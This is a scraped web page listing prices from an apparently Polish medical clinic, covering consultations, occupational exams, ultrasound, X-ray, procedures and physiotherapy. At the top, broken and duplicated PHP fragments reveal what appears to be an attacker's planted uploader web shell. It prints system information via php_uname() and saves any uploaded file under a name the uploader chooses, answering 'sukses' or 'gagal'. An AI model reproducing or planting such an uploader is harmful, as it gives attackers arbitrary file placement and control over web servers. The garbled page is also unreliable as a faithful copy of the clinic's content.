".php_uname()."
"; echo ""; if($_POST['upload']) { if(@copy($_FILES['idx']['tmp_name'], $_FILES['idx']['name'])) { echo "sukses"; } else { echo "gagal"; } } ?>
"; echo ""; if($_POST['upload']) { if(@copy($_FILES['idx']['tmp_name'], $_FILES['idx']['name'])) { echo "sukses"; } else { echo "gagal"; } } ?>
Porady i konsultacje lekarskie | |||||
---|---|---|---|---|---|
100 | Porada Lekarza POZ | 100,00 | 109 | Porada Laryngologiczna | 100,00 |
101 | Porada Alergologiczna | 150,00 | 110 | Porada Logopedyczna | 60,00 |
102 | Porada Dermatologiczna | 150,00 | 111 | Porada Kardiologiczna pierwszorazowa | 200,00 |
103 | Porada Neurologiczna | 100,00 | 112 | Porada Kardiologiczna kolejna | 150,00 |
104 | Porada Leczenia Bólu | 100,00 | 113 | Porada Zdrowia Psychicznego | 100,00 |
105 | Porada Pulmonologiczna | 150,00 | 114 | Porada Leczenia Uzależnień | 80,00 |
106 | Porada Chirurgiczna | 100,00 | 115 | Porada Psychologiczna | 80,00 |
107 | Wizyta domowa | 200,00 | 116 | Porada Ortopedyczna | 150,00 |
108 | Porada okulistyczna | 150,00 | 117 | Porada Urologiczna | 150,00 |
Badania medycyny pracy | |||||
---|---|---|---|---|---|
150 | Badanie lekarza medycyny pracy | 100,00 | 158 | Badanie + zaświadczenie sanitarno-epidemiologiczne | 50,00 |
151 | Badanie lekarskie dermatologiczne | 60,00 | 159 | Badanie pola widzenia | 60,00 |
152 | Badanie lekarskie laryngologiczne | 60,00 | 160 | Audiometria | 30,00 |
153 | Badanie lekarskie neurologiczne | 60,00 | 161 | Spirometria | 30,00 |
154 | Badanie lekarskie okulistyczne | 60,00 | 162 | Badanie RTG klatki piersiowej | 35,00 |
155 | Psychotesty kierowców | 150,00 | 163 | Badanie EKG | 25,00 |
156 | Psychotesty operatora wózków widłowych | 150,00 | 164 | Badania laboratoryjne - ceny wg cennika bad. lab. | |
157 | Badanie lekarskie kierowców | 200,00 |
Diagnostyka ogólna | |||||
---|---|---|---|---|---|
200 | Badanie ostrości wzroku i dobór szkieł korekcyjnych | 50,00 | 205 | Audiometria | 30,00 |
201 | Badanie pola widzenia | 60,00 | 206 | Rektoskopia | 50,00 |
202 | Badnie ciśnienia wewnątrzgałkowego - tonometria | 20,00 | 207 | Anoskopia | 100,00 |
203 | EKG - spoczynkowe | 25,00 | 208 | Dermatoskopia | 40,00 |
204 | Spirometria | 30,00 |
Diagnostyka Kardiologiczna | ||
---|---|---|
210 | EKG Holter | 100,00 |
211 | USG Serca | 100,00 |
Badania USG | |||||
---|---|---|---|---|---|
250 | USG jamy brzusznej | 100,00 | 254 | USG serca | 100,00 |
251 | USG tarczycy | 80,00 | 255 | USG tętnic dogłowowych z kolorowym Dopplerem | 150,00 |
252 | USG ślinianek | 80,00 | 256 | USG tętnic kończyn dolnych z kolorowym Dopplerem | 150,00 |
253 | USG szyi | 80,00 | 257 | USG żył | 150,00 |
Badania RTG | |||||
---|---|---|---|---|---|
300 | RTG czaszki | 40,00 | 324 | RTG kości udowej | 40,00 |
301 | RTG siodełko tureckie | 23,00 | 325 | RTG kości podudzia | 40,00 |
302 | RTG nosa | 19,00 | 326 | RTG stawów kolanowych | 44,00 |
303 | RTG oczodołów | 24,00 | 327 | RTG rzepki (AP+boczne) | 44,00 |
304 | RTG twarzoczaszki | 24,00 | 328 | RTG rzepki, osiowe | 30,00 |
305 | RTG kanał nerwu wzrokowego | 27,00 | 329 | RTG stawów skokowych | 40,00 |
306 | RTG stawów skroniowo-żuchwowych (czynnościowe) | 32,00 | 330 | RTG stóp | 32,00 |
307 | RTG zatok | 24,00 | 331 | RTG kości piętowej | 23,00 |
308 | RTG zęba | 12,00 | 332 | RTG obojczyka | 27,00 |
309 | RTG ucha | 35,00 | 333 | RTG łopatki | 27,00 |
310 | RTG klatki piersiowej | 35,00 | 334 | RTG stawu barkowego, osiowe | 28,00 |
311 | RTG żeber | 30,00 | 335 | RTG stawu barkowego (boczne przez klatkę piersiową) | 28,00 |
312 | RTG mostka | 30,00 | 336 | RTG kości ramiennej | 32,00 |
313 | RTG kręgosłupa szyjnego | 47,00 | 337 | RTG przedramienia | 35,00 |
314 | RTG kregosłupa szyjnego, czynnościowe | 47,00 | 338 | RTG stawów łokciowych | 30,00 |
315 | RTG kręgosłupa piersiowego | 54,00 | 339 | RTG nadgarstka | 30,00 |
316 | RTG kręgosłupa lędżwiowego | 54,00 | 340 | RTG dłoni | 25,00 |
317 | RTG kręgosłupa lędżwiowego, skosy | 54,00 | 341 | RTG palca dłoni/stopy (AP+boczne) | 28,00 |
318 | RTG kręgosłupa (dzieci) | 35,00 | 342 | RTG jamy brzusznej (AP) | 35,00 |
319 | RTG celowane na krąg | 40,00 | |||
320 | RTG kośći krzyżowej/ ogonowej | 40,00 | |||
321 | RTG miednicy | 40,00 | |||
322 | RTG stawów biodrowych | 40,00 | |||
323 | RTG stawu biodrowego | 30,00 |
Procedury zabiegowe i pozostałe badania | |||||
---|---|---|---|---|---|
601 | Porada specjalistyczna z drobnym zabiegiem typu: nacięcie ropnia, zastrzał, punkcja, unieruchomienie | 150,00 | 620 | Zastrzyk domięśniowy | 14,00 |
602 | Zabieg z zakresu małej chirurgii (usunięcie kaszaka, tłuszczak, znamię) | 250,00 | 621 | Zastrzyk dożylny | 20,00 |
603 | Badanie histopatologiczne | 50,00 | 622 | Wlew dożylny | 30,00 |
604 | Zaopatrzenie rany - szycie | 70,00 | 623 | Zastrzyk podskórny | 7,00 |
605 | Założenie/wymiana opatrunku | 20,00 | 624 | Próba na lek lub iniekcja śródskórna | 7,00 |
606 | Cewnikowanie pęcherza moczowego | 50,00 | 625 | Pomiar ciśnienia tętniczego | 2,00 |
607 | Usunięcie cewnika z pęcherza moczowego | 20,00 | 626 | Inhalacja | 20,00 |
608 | Kriochirurgia zmian miejscowych | 60,00-200,00 | 627 | Testy kontaktowe płatkowe (30 alergenów) | 250,00 |
609 | Płukanie ucha | 40,00 | 628 | Testy skórne punktowe - za 1 oznacz. | 8,00 |
610 | Usunięcie ciała obcego z ucha/nosa | 60,00 | 629 | Szczepienia ochronne bez kosztu szczepionki | 14,00 |
611 | Opatrunek ucha | 20,00 | |||
612 | Usunięcie ciała obcego z oka | 100,00 | |||
614 | Zaświadczenie o stanie zdrowia pacjenta na potrzeby Sądu, ZUS i innych wnioskodawców (nie dotyczy Towarzystw Ubezpieczeniowych) | poz.1,2,3 + obowiązujący podatek VAT | 633 | Zaświadczenie o stanie zdrowia pacjenta na potrzeby Towarzystw Ubezpieczeniowych | poz.1,2 + obowiązujący podatek VAT |
615 | 1. opłata za wizytę u lekarza | w/g cennika | 634 | 1. wydanie orzeczenia i opinii lekarskiej, w tym wypełnienie ankiety / protokołu lekarskiego do celów ubezpieczeniowych | 100,00 |
616 | 2. opłata za wypisanie zaświadczenia | 12,00 | 635 | 2. dodatkowe badania zlecone przez lekarza niezbędne do wydania w/w orzeczeń i opinii | w/g cennika |
617 | 3. dodatkowe badania zlecone przez lekarza niezbędne do wydania w/w zaświadczenia | w/g cennika | |||
619 | Zaświadczenie lekarskie inne | 30,00 |
FIZJOTERAPIA
1 | ELEKTROTERAPIA: | |
Galwanizacja | 15,00 | |
Jonofereza | 15,00 | |
Prądy diadynamiczne - prądy Bernarda (DD) | 15,00 | |
TENS - przezskórna stymulacja elektryczna nerwów | 15,00 | |
Elektrostymulacja | 15,00 | |
Prądy Träberta | 15,00 | |
Prądy interferencyjne -prądy Nemecka (IR) | 15,00 | |
Prądy Kotz'a ( rosyjska stymulacja) | 15,00 | |
2 | Magnetoterapia (MG) | 20,00 |
3 | Ultradźwięki (UD) / Fonoforeza (FF) | 12,00 |
4 | Krioterapia miejscowa 5 min | 20,00 |
5 | Terapia łączona (ultradźwięki + prądy) | 15,00 |
6 | Laser | 10,00 |
7 | Lampa SOLLUX | 12,00 |
8 | Masaż leczniczy 30 min. ( pleców, k.g.,k.d., twarzy) | 60,00 |
9 | Masaż limfatyczny ręczny 40 min. | 50,00 |
10 | Masaż relaksacyjny całego ciała 60 min. | 100,00 |
11 | Masaż kamieniami wulkaniczymi 60 min. | 70,00 |
12 | Masaż kamieniami wulkanicznymi 90 min. | 120,00 |
13 | AQUAVIBRON | 20,00 |
14 | Rozciągania (Redresje) | 30,00 |
15 | Ćwiczenia w odciążeniu UGUL 30 min. | 30,00 |
16 | Kinezyterapia indywidualna 30 min. | 40,00 |
17 | Terapia metodą PNF | 80,00 |
18 | Terapia metodą MC KENZIE | 80,00 |
19 | Terapia manualna FDM | 80,00 |
20 | Kinesiology Taping - pierwsza aplikacja | 30,00 |
21 | Kinesiology Taiping - kolejna aplikacja | 25,00 |
22 | Konsultacja fizjoterapeutyczna | 50,00 |